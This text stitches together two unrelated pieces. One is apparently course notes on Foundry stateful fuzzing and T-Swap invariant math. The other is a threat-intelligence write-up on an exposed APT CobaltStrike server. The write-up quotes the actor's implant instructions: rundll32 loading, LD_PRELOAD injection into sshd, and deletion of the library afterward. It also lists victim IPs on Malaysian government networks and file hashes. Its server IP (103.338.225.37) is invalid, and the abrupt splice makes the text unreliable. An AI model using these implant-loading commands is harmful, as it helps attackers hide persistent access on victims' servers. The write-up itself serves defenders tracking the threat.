  • Defines which functions and inputs should be fuzzed, which helps reduce the scope of what the fuzzer will try. This is done through something called selectors.
• Formal Verification:
  • Using math to prove the correctness of a smart contract.
  • Hard to do.

    Stateless vs Stateful Fuzzing

To explain further:

1. Stateless Fuzzing (AKA Fuzzing in Foundry natively, basic function fuzzer)
   • Tries random data
   • Easier to instrument
2. Stateful Fuzzing (Invariant testing)
   • Tries random data in random order
   • Harder to instrument

With these pros and cons in mind, the Cyfrin course explains how the famous security researcher “Tincho” found a critical vulnerability in the Euler protocol by creating and instrumenting a stateful test suite, and used it to identify a codepath violating the invariant, or the expected results of the protocol.

Codebase Review

Let’s look at this source code example first.

• https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break

1
2
3
4

src/invariant-break/

├── HandlerStatefulFuzzCatches.sol
├── StatefulFuzzCatches.sol

Looking at HandlerStatefulFuzzCatches.sol appears to be a typical ERC20 with a depositToken and withdrawToken function implemented

StatefulFuzzCatches.sol, on the other hand, is a contract that does some math and storage.
This is the codepath that we want the fuzzer to eventually hit.

The Handler

For stateful invariant testing there’s basically two pieces we’re going to use to instrument our protocols:

1. Handler
2. Target contract (aka the Invariant)

They’re both kinda instrumenting the code, but in different ways, and they connect together. This might seem confusing but this part is actually pretty straight forward. The part where you lose everyone isn’t really the solidity background and setup, it’s more around understanding how to apply financial math theory to these types of stateful tests.

The handler you can think of as mostly boilerplate code. It’s a way to overload functionality without modifying the src code. We’ll use both 1 and 2 (above) as templates and modify them when creating future invariant tests, but 1 will require less modification.

• https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Handler.t.sol

For our handler example, we’re instrumenting a protocol that has two pools:

1. YieldERC20
   • This is an example of a “weird ERC20”, which you can search on solodit, which is an attack surface that we can hunt for in the future. Lots of protocols have strange issues within contracts that inherit ERC20.
2. MockUSDC
   • People deposit USDC as collateral, they then mint and receive however many YieldERC20 tokens in exchange, and then they can use them to withdraw.

Again, this is a pretty typical ERC20 two LP protocol, so in the future if we’re writing our own handler for another ERC20 contract, this will only require a few modifications here and there.

How not to write an invariant test

For this first example I want to show how not to write these invariant tests.
In this InvariantFail.t.sol example let’s first talk about the statefulFuzz_testInvariantBreakFail lines that are commented, which is a function that, since this is a stateful test, will be fuzzed in random order in conjunction with the other testInvariantBreakHard function.

• https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/InvariantFail.t.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// // Well this doesn't work...
// // cuz there are too many possible inputs! We need to narrow down the inputs with a handler
// // Uncomment this to run it because it'll break tests
// function statefulFuzz_testInvariantBreakFail() public {
//     vm.startPrank(owner);
//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
//     vm.stopPrank();

//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
//     assert(mockUSDC.balanceOf(owner) == startingAmount);
//     assert(yeildERC20.balanceOf(owner) == startingAmount);
// }

and the second part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

// Our fuzz test won't catch it...
// All our withdraws should work
// And our fuzz test doesn't catch it... Hmm....abi
// Let's try stateful fuzzing
function testInvariantBreakHard(uint256 randomAmount) public {
vm.assume(randomAmount < startingAmount);
vm.startPrank(owner);
// Deposit some yeildERC20
yeildERC20.approve(address(handlerStatefulFuzzCatches), randomAmount);
handlerStatefulFuzzCatches.depositToken(yeildERC20, randomAmount);
// Withdraw some yeildERC20
handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
// Deposit some mockUSDC
mockUSDC.approve(address(handlerStatefulFuzzCatches), randomAmount);
handlerStatefulFuzzCatches.depositToken(mockUSDC, randomAmount);
// Withdraw some mockUSDC
handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
vm.stopPrank();

assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
assert(mockUSDC.balanceOf(owner) == startingAmount);
assert(yeildERC20.balanceOf(owner) == startingAmount);
}

By the time this test runs we’ve already done the basic contract setup with foundry cheat codes.
These functions are following the right general idea, but there’s way too many possible inputs and codepaths that the fuzzer could instrument. This could maybe work with a supercomputer, but we don’t have that, so we’re going to use Foundry’s targetSelector and FuzzSelector to instrument our testing with more granularity. We want randomness, but only regarding parameters and functions that can be defined using these selectors.

Invariant Testing the Correct Way

There’s these things called selectors. It’s just an arbitrary solidity design pattern that we use as a template/example in the future. This, with a proper setup, is a better way to instrument the contract, like telling it “We only care about these 2 supported tokens, and these are the 3 functions we want used for fuzzing”:

• https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Invariant.t.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

function setUp() public {
vm.startPrank(owner);
// Give our owner 1M tokens each
yeildERC20 = new YeildERC20();
startingAmount = yeildERC20.INITIAL_SUPPLY();
mockUSDC = new MockUSDC();
mockUSDC.mint(owner, startingAmount);

supportedTokens.push(mockUSDC);
supportedTokens.push(yeildERC20);
handlerStatefulFuzzCatches = new HandlerStatefulFuzzCatches(supportedTokens);
vm.stopPrank();

handler = new Handler(handlerStatefulFuzzCatches, yeildERC20, mockUSDC);

bytes4[] memory selectors = new bytes4[](3);
selectors[0] = handler.depositYeildERC20.selector;
selectors[1] = handler.withdrawYeildERC20.selector;
selectors[2] = handler.withdrawMockUSDC.selector;

targetSelector(FuzzSelector({addr: address(handler), selectors: selectors}));
targetContract(address(handler));
}

// // THIS however, catches our bug!!!
// function statefulFuzz_testInvariantBreakHandler() public {
//     vm.startPrank(owner);
//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
//     vm.stopPrank();

//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
//     assert(mockUSDC.balanceOf(owner) == startingAmount);
//     assert(yeildERC20.balanceOf(owner) == startingAmount);
// }
}

The commented function statefulFuzz_testInvariantBreakHandler() above is the solution which breaks the invariant. I’ll explain what these functions do:

• setUp()
  • Give our owner 1M tokens
    • Instantiate new YieldERC20 & MockUSDC contracts
    • Mint 1M tokens to the owner
  • Connect the handler and selectors
    • Instantiate a new handler, passing the supported tokens.
    • Define the selectors to be the handler’s supported tokens and then call targetContract and targetSelector to connect the components together
    • It’s worth noting that depositYeildERC20, withdrawYeildERC20, withdrawMockUSDC are all defined within test/Handler.t.sol which is some more foundry stuff instrumenting the basic deposit/withdraw functionality (which includes calls to prank, approve etc).
• statefulFuzz_testInvariantBreakHandler()
  • Since we’ve connected the mockUSDC and yieldERC20 objects to our test suite, we can pass them around and kinda pretend that their state is indeterminate. Ultimately we want to break the invariant, which in this case can be defined as the following statements:
    • “Once the owner withdraws all their USDC and YieldERC20 tokens, their balances should be zero”
    • “Additionally, after, everything should be in its original state (the owner’s tokens should have the original starting amounts)”.
    • We then use an assert to define these invariants, and the test suite will do its magic to try to break those assertions.

T-Swap

As explained in the Cyfrin course, “T-Swap is known as an Automated Market Maker (AMM) because it doesn’t use a normal “order book” style exchange, instead it uses “Pools” of an asset. It is similar to Uniswap.”

The T-Swap protocol is explained in detail within this README.

Invariant

With T-Swap, this is a good example because the invariant can be defined with math:

• x = Token Balance X
• y = Token Balance Y
• k = The constant ratio between X & Y

This looks kinda insane, and it is, but we have everything that we need (x, y, & k) to define the invariants:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

y = Token Balance Y
x = Token Balance X
x * y = k
x * y = (x + ∆x) * (y − ∆y)
∆x = Change of token balance X
∆y = Change of token balance Y
β = (∆y / y)
α = (∆x / x)

Final invariant equation without fees:
∆x = (β/(1-β)) * x
∆y = (α/(1+α)) * y

Invariant with fees
ρ = fee (between 0 & 1, aka a percentage)
γ = (1 - p) (pronounced gamma)
∆x = (β/(1-β)) * (1/γ) * x
∆y = (αγ/1+αγ) * y

This is a quick writeup on another exposed directory listing that I identified when monitoring infrastructure suspected to be operated by an Advanced Persistent Threat (APT). Based on the available data this activity likely persisted between the dates 2021-05-27 - 2021-09-02 using windows and linux implants.

This host was fingerprinted as an active CobaltStrike Teamserver. At port 8080 the threat actor accidentally exposed a directory listing over HTTP for a short period of time, which my tooling was able to capture.

103.338.225.37:8080

Directory Listing:

drwxr-xr-x  4 root root     4096 Dec 12 03:11 G1-Beta
drwxr-xr-x  2 root root     4096 Dec 12 03:11 old
-rw-r--r--  1 root root 19665659 Dec 12 03:11 xxx.7z

Within G1-Beta there are Client and Generator folders containing the following:

G1-Beta/Client:

total 24584
-rw-r--r-- 1 root root   15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll
-rw-r--r-- 1 root root   15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll
-rw-r--r-- 1 root root   17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll
-rw-r--r-- 1 root root   17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll
-rw-r--r-- 1 root root   13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll
-rw-r--r-- 1 root root   11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll
drwxr-xr-x 2 root root    4096 Dec 12 03:13 certificate
-rw-r--r-- 1 root root 6320128 May  8  2021 G1.exe
drwxr-xr-x 4 root root    4096 Dec 12 03:13 Hosts
-rw-r--r-- 1 root root 2521600 Sep 23  2020 libcrypto-1_1.dll
-rw-r--r-- 1 root root  530944 Sep 23  2020 libssl-1_1.dll
-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll
-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll
drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms
drwxr-xr-x 4 root root    4096 Dec 12 03:13 plugin
-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll
-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll
-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll
-rw-r--r-- 1 root root   80112 Nov 20  2018 vcruntime140.dll

G1-Beta/Generator:

total 21332
-rw-r--r-- 1 root root 6233088 May  8  2021 Generator.exe
-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll
-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll
drwxr-xr-x 4 root root    4096 Dec 12 03:13 Output
drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms
-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll
-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll
-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll
-rw-r--r-- 1 root root     459 Feb  4  2021 使用说明.txt

Within xxx.7z there’s more interesting files.

Directory listing of xxx.7z:

total 53712
-rw-r--r-- 1 root root      167 Sep  2 11:58 269aa5960ef1bdc4
-rw-r--r-- 1 root root    15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll
-rw-r--r-- 1 root root    15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll
-rw-r--r-- 1 root root    17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll
-rw-r--r-- 1 root root    17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll
-rw-r--r-- 1 root root    13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll
-rw-r--r-- 1 root root    11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll
-rw-r--r-- 1 root root     9967 Apr 24  2019 cer.crt
drwx------ 2 root root     4096 Feb 23  2021 certificate
drwx------ 2 root root     4096 May 21  2021 Client
-rw-r--r-- 1 root root    56832 Dec  2  2020 CmdShell.exe
-rw-r--r-- 1 root root    40960 Dec 18  2020 CmdShell.pln
drwx------ 2 root root     4096 May 24  2021 Custom
drwx------ 2 root root     4096 Sep  2 11:53 Default
-rw-r--r-- 1 root root   142336 Dec  2  2020 DiskFile.exe
-rw-r--r-- 1 root root    68608 Dec 18  2020 DiskFile.pln
-rw-r--r-- 1 root root      198 May 27  2021 fed186c5a12922bc
drwx------ 2 root root     4096 Feb 23  2021 G1-Beta
-rw-r--r-- 1 root root  6320128 May  8  2021 G1.exe
drwx------ 2 root root     4096 May 21  2021 Generator
-rw-r--r-- 1 root root  6233088 May  8  2021 Generator.exe
drwx------ 2 root root     4096 May 24  2021 gov.my
-rw-r--r-- 1 root root   133472 May 24  2021 host_linux_x64.so
drwx------ 2 root root     4096 May 21  2021 Hosts
-rw-r--r-- 1 root root   234721 May 27  2021 host_win_x64.exe
-rw-r--r-- 1 root root   194846 May 27  2021 host_win_x86.exe
-rw-r--r-- 1 root root   129528 May 24  2021 kernle
-rw-r--r-- 1 root root     1679 Apr 24  2019 key.pem
-rw-r--r-- 1 root root  2521600 Sep 23  2020 libcrypto-1_1.dll
-rw-r--r-- 1 root root   530944 Sep 23  2020 libssl-1_1.dll
drwx------ 2 root root     4096 Dec 11 15:42 Linux
-rw-r--r-- 1 root root   455328 Oct  4  2013 msvcp120.dll
-rw-r--r-- 1 root root   970912 Oct  4  2013 msvcr120.dll
drwx------ 2 root root     4096 May 21  2021 Output
drwx------ 2 root root     4096 Feb 23  2021 platforms
-rw-r--r-- 1 root root    73498 Dec 18  2020 plnuser.pln
drwx------ 2 root root     4096 Feb 23  2021 plugin
-rw-r--r-- 1 root root  4670976 Apr 16  2012 Qt5Core.dll
-rw-r--r-- 1 root root  5011968 May 25  2016 Qt5Gui.dll
-rw-r--r-- 1 root root  4472320 May 25  2016 Qt5Widgets.dll
-rw-r--r-- 1 root root  1014168 Feb 27  2017 qwindows.dll
-rw-r--r-- 1 root root   463872 Dec  2  2020 Scheduler.exe
-rw-r--r-- 1 root root    80896 Dec 18  2020 Scheduler.pln
-rw-r--r-- 1 root root   102400 Dec  2  2020 Services.exe
-rw-r--r-- 1 root root   119296 Dec 18  2020 Services.pln
-rw-r--r-- 1 root root   231424 Sep 14  2020 SocksMap.exe
-rw-r--r-- 1 root root    55296 Dec 18  2020 SocksMap.pln
-rw-r--r-- 1 root root   186368 Dec  3  2020 S-Tools.exe
-rw-r--r-- 1 root root    41984 Dec 18  2020 S-Tools.pln
-rw-r--r-- 1 root root   120320 Dec  2  2020 SyncShell.exe
-rw-r--r-- 1 root root    41472 Feb  3  2021 SyncShell.pln
-rw-r--r-- 1 root root    81920 Dec  2  2020 TaskMgr.exe
-rw-r--r-- 1 root root    59904 Dec 18  2020 TaskMgr.pln
-rw-r--r-- 1 root root   135680 Jun 12  2018 Terminal.exe
-rw-r--r-- 1 root root        1 Dec 18  2020 Terminal.pln
-rw-r--r-- 1 root root    80112 Nov 20  2018 vcruntime140.dll
drwx------ 2 root root     4096 May 21  2021 Windows
drwx------ 2 root root     4096 Feb 23  2021 x64
drwx------ 2 root root     4096 Feb 23  2021 x86
-rw-r--r-- 1 root root      459 Feb  4  2021 使用说明.txt

One file within the archive is named 使用说明.txt , which translate from Chinese as Instructions for use.txt so we are likely dealing with a Chinese threat actor.

使用说明.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

Window：
1：exe直接运行。
2：dll运行方式：
rundll32 host_win_x86.dll,elapsed
rundll32 host_win_x64.dll,elapsed
3：bin为shellcode，自定义加载。

Linux ：
1:exe 直接运行:
      chmod 755 host_linux_x64
     ./host_linux_x64
2:so 支持 ldd 加载。
LD_PRELOAD=./host_linux_x64.so  /usr/sbin/sshd
              rm -fr  /host_linux_x64.so



注：Windows/Linux都支持低权限执行，比如webshell等。

English translation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Window:
1: exe runs directly.
2: dll operation mode:
rundll32 host_win_x86.dll,elapsed
rundll32 host_win_x64.dll,elapsed
3: bin is shellcode, customized loading.

Linux:
1: exe run directly:
       chmod 755 host_linux_x64
      ./host_linux_x64
2:so supports ldd loading.
LD_PRELOAD=./host_linux_x64.so /usr/sbin/sshd
               rm -fr /host_linux_x64.so



Note: Both Windows/Linux support low-privilege execution, such as webshell.

Another file within xxx.7z, named fed186c5a12922bc, contains the output of an attacker tool running on a victim host, shown below.

10.29.113.67||(none)|Linux|203.217.176.244|10.29.113.67|TCP|vsphere-ui|#1-photon SMP Wed Oct 17 12:15:18 UTC 2018 - 4.4.161-1.ph1|130:07:36|2021-05-27 22:25:02|2021-05-27 22:25:56|fed186c5a12922bc

The threat actor has targeted a vSphere instance at the external IP 203.217.176.244

Host: 203.217.176.244
ASN: 17564
ISP: GITN M Sdn. Bhd.
Organization: GITN M Sdn. Bhd.
Services: None detected
Type: Corporate
Assignment: Likely Static IP
Continent: Asia
Country: Malaysia
State/Region: Putrajaya
City: Putrajaya

Another file within xxx.7z, named 269aa5960ef1bdc4, contains another victim host:

SVR069||intan.dir|Windows|202.60.56.221|10.1.3.31|TCP|SYSTEM|Microsoft Windows Server 2019 Standard|13:13:40|2021-09-02 23:57:30|2021-09-02 23:58:47|269aa5960ef1bdc4

The threat actor has targeted a Windows Server named SVR069 at the external IP 202.60.56.221

Host: 202.60.56.221
ASN: 38044
ISP: Gitn-network
Organization: Gitn-network
Services: None detected
Type: Broadband
Assignment: Likely Static IP
Continent: Asia
Country: Malaysia
State/Region: Kuala Lumpur
City: Kuala Lumpur

Another folder within the archive is empty, with the name gov.my.
When googling the ISP, we get the following result:

GITN is commissioned by the Government to turn the vision of an e-Government into reality. GITN Sdn. Berhad (GSB) is the official network provider for the e-Government and we have a comprehensive range of infrastructure, hardware and software aimed to help enhance, improve and integrat
e your organization into the e-Government

This threat actor was targeting the Malaysian government.
The fact that the victim host was vSphere indicates that this threat actor has gained significant access into the environment.

Hashes:

67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./xxx/key.pem
405ee1521bc97fc5d2c45f36f462f678ce0daef2117c40c5923c54b0f3f32685  ./xxx/CmdShell.exe
2452671492eba95a9fa8dc08d87c54d64b4142f04301209dbaa8447808b0e7b0  ./xxx/TaskMgr.pln
7317d236a1d7b132b80b09284a5c31b61371c66d6eee4cbe4597772223c040c9  ./xxx/S-Tools.pln
9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./xxx/api-ms-win-crt-runtime-l1-1-0.dll
9bfa883a0a53ed1f3ef5330925f9a8b460569335150e46fa4b15b9913a9594c2  ./xxx/SyncShell.exe
b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./xxx/host_win_x64.exe
0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./xxx/kernle
c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./xxx/api-ms-win-crt-utility-l1-1-0.dll
90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./xxx/269aa5960ef1bdc4
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./xxx/Generator.exe
b9246fd06b64894d08fbc1d504ea17017da836f070fbd441625c446ab28c7d80  ./xxx/Scheduler.pln
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./xxx/msvcp120.dll
115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx/xxx.7z
b805f965d1a73d34b5b6c694520b2316884fe44c1c2849ed89565e251d50f658  ./xxx/CmdShell.pln
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./xxx/Qt5Widgets.dll
855788aa837927ba05b0c352637b49de5b4b22ed05447e8c10a103120c1a4537  ./xxx/DiskFile.pln
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./xxx/Qt5Core.dll
0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./xxx/SocksMap.exe
2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./xxx/Terminal.exe
c6145356da138655e7b1f3a81273b5298c0c9c059afdda230e0742388db8a4f8  ./xxx/Scheduler.exe
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./xxx/qwindows.dll
795c8e66f347cb030bef6d5b2076197c2da6acd24b654e40f2374d66553ab4ef  ./xxx/SyncShell.pln
3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./xxx/host_linux_x64.so
804f94010467936ddfeb18a9f53a4750ddb4857e4a611e1d99c24928f7390f8e  ./xxx/S-Tools.exe
ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./xxx/vcruntime140.dll
9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./xxx/api-ms-win-crt-time-l1-1-0.dll
e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./xxx/libcrypto-1_1.dll
372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./xxx/host_win_x86.exe
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./xxx/G1.exe
f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./xxx/api-ms-win-crt-convert-l1-1-0.dll
a8bf9a04af5d74e783d78b8dec6d47f7943c3c06e8c544856f075e78a1d66d2e  ./xxx/plnuser.pln
1460f52fca965a5ec0aa186116909963ddd7a7e1bc78dcea28759d0b66e9bcfc  ./xxx/fed186c5a12922bc
794353b72b77f934507d0501024e89cdebc97dc40c571769bafaf794fbfaa8a4  ./xxx/SocksMap.pln
6eb4e6d55d329c9d0c7ffc6291969ab5b9605e48efc97455d131300435184af4  ./xxx/TaskMgr.exe
b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./xxx/Terminal.pln
23f27409df8da51b7a61781bccdc0f011decbf57833151436d3e6c78f8524b66  ./xxx/Services.pln
f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./xxx/使用说明.txt
8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./xxx/libssl-1_1.dll
a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./xxx/cer.crt
8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./xxx/api-ms-win-crt-string-l1-1-0.dll
15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./xxx/api-ms-win-crt-stdio-l1-1-0.dll
ad551e7b9e91a5f79b269baf438dcfde7dd8014af1016ad2358ea3505714cb88  ./xxx/DiskFile.exe
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./xxx/msvcr120.dll
348472da6ef03742089181b62364096131bc3b01a009d613b3708ce04c807206  ./xxx/Services.exe
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./xxx/Qt5Gui.dll
115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx.7z
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./old/Generator.exe
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./old/G1.exe
f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./G1-Beta/Generator/Generator.exe
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Generator/msvcp120.dll
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Generator/Qt5Widgets.dll
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Generator/Qt5Core.dll
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Generator/platforms/qwindows.dll
b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./G1-Beta/Generator/Output/Windows/host_win_x64.exe
372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./G1-Beta/Generator/Output/Windows/host_win_x86.exe
0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./G1-Beta/Generator/Output/Linux/kernle
3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./G1-Beta/Generator/Output/Linux/host_linux_x64.so
f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./G1-Beta/Generator/使用说明.txt
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Generator/msvcr120.dll
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Generator/Qt5Gui.dll
9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./G1-Beta/Client/api-ms-win-crt-runtime-l1-1-0.dll
c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./G1-Beta/Client/api-ms-win-crt-utility-l1-1-0.dll
87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Client/msvcp120.dll
85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Client/Qt5Widgets.dll
59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Client/Qt5Core.dll
0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Client/platforms/qwindows.dll
ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./G1-Beta/Client/vcruntime140.dll
9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./G1-Beta/Client/api-ms-win-crt-time-l1-1-0.dll
e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./G1-Beta/Client/libcrypto-1_1.dll
67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./G1-Beta/Client/certificate/key.pem
a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./G1-Beta/Client/certificate/cer.crt
b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./G1-Beta/Client/G1.exe
f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./G1-Beta/Client/api-ms-win-crt-convert-l1-1-0.dll
26e5bfe4b0686167e3e4e0aac40cbae03515171d375f91ea563c9c044e9c5cc7  ./G1-Beta/Client/plugin/Linux/DiskFile.pln
0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./G1-Beta/Client/plugin/Linux/SocksMap.exe
2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./G1-Beta/Client/plugin/Linux/Terminal.exe
478508483cbb05defd7dcdac355dadf06282a6f2e14342cccba99e840202f943  ./G1-Beta/Client/plugin/Linux/SocksMap.pln
b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./G1-Beta/Client/plugin/Linux/Terminal.pln
c2a0b250573feae45ed9d406d2bbddef8b1735a60c456b9cc10fefed46b71748  ./G1-Beta/Client/plugin/Linux/DiskFile.exe
90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./G1-Beta/Client/Hosts/Default/269aa5960ef1bdc4
8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./G1-Beta/Client/libssl-1_1.dll
8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./G1-Beta/Client/api-ms-win-crt-string-l1-1-0.dll
15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./G1-Beta/Client/api-ms-win-crt-stdio-l1-1-0.dll
86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Client/msvcr120.dll
2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Client/Qt5Gui.dll